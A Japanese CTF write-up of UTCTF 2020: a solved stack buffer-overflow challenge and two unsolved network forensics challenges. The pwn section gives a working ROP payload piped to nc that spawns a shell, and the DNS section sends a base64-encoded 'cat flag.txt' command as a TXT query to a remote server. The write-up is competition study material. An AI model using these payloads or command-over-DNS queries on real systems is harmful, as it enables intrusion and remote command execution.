URL: https://utctf.live/challenges

えと、簡単なのしか解いてないので、テキトーです。



utctf_2020_Score1.png



[Pwn]: bof


Challenge

nc binary.utctf.live 9002

Attachment:

  • pwnable (ELF 64bit)


Solution

Ghidraでソースを確認します。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
undefined8 main(void)
{
  char local_78 [112];
  
  puts("I really like strings! Please give me a good one!");
  gets(local_78);
  puts("Thanks for the string");
  return 1;
}

void get_flag(int param_1)
{
  char *local_18;
  undefined8 local_10;
  
  if (param_1 == -0x21524111) {
    local_18 = "/bin/sh";
    local_10 = 0;
    execve("/bin/sh",&local_18,(char **)0x0);
  }
  return;
}

captureamerica@kali:~/CTF/UTCTF_2020$ checksec ./pwnable 
[*] '/home/captureamerica/CTF/UTCTF_2020/pwnable'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

タイトル通りBuffer Overflowのチャレンジで、get_flagを正しい引数で呼べたら/bin/shが呼ばれる、というやつです。

あと、これは64bitです。


pop rdi ; retを使います。
captureamerica@kali:~/CTF/UTCTF_2020$ ROPgadget --binary pwnable | grep ret | grep ": pop"
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x0000000000400582 : pop rbp ; mov byte ptr [rip + 0x200abe], 1 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400520 : pop rbp ; ret
0x000000000040028e : pop rbp ; retf 0x2d9e
0x0000000000400693 : pop rdi ; ret   <--- これ
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

get_flag()関数のアドレス
gef➤  x get_flag
0x4005ea :	0xe5894855

引数はよくある0xdeadbeefです。(0xffffffffを足しているんで、更に+1します)
captureamerica@kali:~/CTF/UTCTF_2020$ python3
>>> hex(-0x21524111+0xffffffff)
'0xdeadbeee'

以下でフラグゲット。
captureamerica@kali:~/CTF/UTCTF_2020$ (python -c "print('a'*112+'a'*8+'\x93\x06\x40\x00\x00\x00\x00\x00'+'\xef\xbe\xad\xde\x00\x00\x00\x00'+'\xea\x05\x40\x00\x00\x00\x00\x00')" ; cat - ) | nc binary.utctf.live 9002
I really like strings! Please give me a good one!
Thanks for the string
id
uid=1000(stackoverflow) gid=1000(stackoverflow) groups=1000(stackoverflow)
ls
flag.txt
cat flag.txt
utflag{thanks_for_the_string_!!!!!!}


Flag: utflag{thanks_for_the_string_!!!!!!}





さて、ここから下は、解きたかったけど解けなくて諦めたやつです。

[Network]: Nittaku 3 Star Premium


Challenge

I found some weird data while monitoring my network, but I didn’t catch it all. See if you can make sense of it.

Attachment:

  • capture.pcap


(Unsolved)

ICMP(ping)に大きなデータがついてます。だからチャレンジ名がNittaku 3 star (ピンポン玉) なんですね。なかなかネーミングセンスがいいです。

4つに分かれているので、ひとつにまとめて、base64デコードするとgzファイルになって中にflag.pngが入ってます。

ただし、壊れたgzファイルになっちゃうので、フラグが部分的にしか取れませんでした。。。





(2020/03/09 - Writeup見ました。)

フラグの続きは実際にPingをして取ってこないといけなかったようですね。ふーん。





[Network]: Do Not Stop


Challenge

One of my servers was compromised, but I can’t figure it out. See if you can solve it for me!

Attachment:

  • capture.pcap


(Unsolved)

DNSがbas64エンコードされています。肝心なフラグの中身はpcapの中には含まれていないようです。

DNSサーバが35.188.185.68なので、そこに対してcat flag.txtをbase64エンコードしたものをクエリーするとフラグが取れると思ったんですが、DNSサーバに繋がらなくてダメでした。。。

Discordでも、サーバに繋がらないよ〜って言っている人が何人かいたんですけど、Adminの人はサーバ動いているよ、って言っているし。

captureamerica@kali:~$ dig -t TXT Y2F0IGZsYWcudHh0Cg== @35.188.185.68

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> -t TXT Y2F0IGZsYWcudHh0Cg== @35.188.185.68
;; global options: +cmd
;; connection timed out; no servers could be reached





(2020/03/09 - Writeup見ました。)

なんか、クエリーを投げるDNSサーバは35.188.185.68じゃなかったみたいです。。。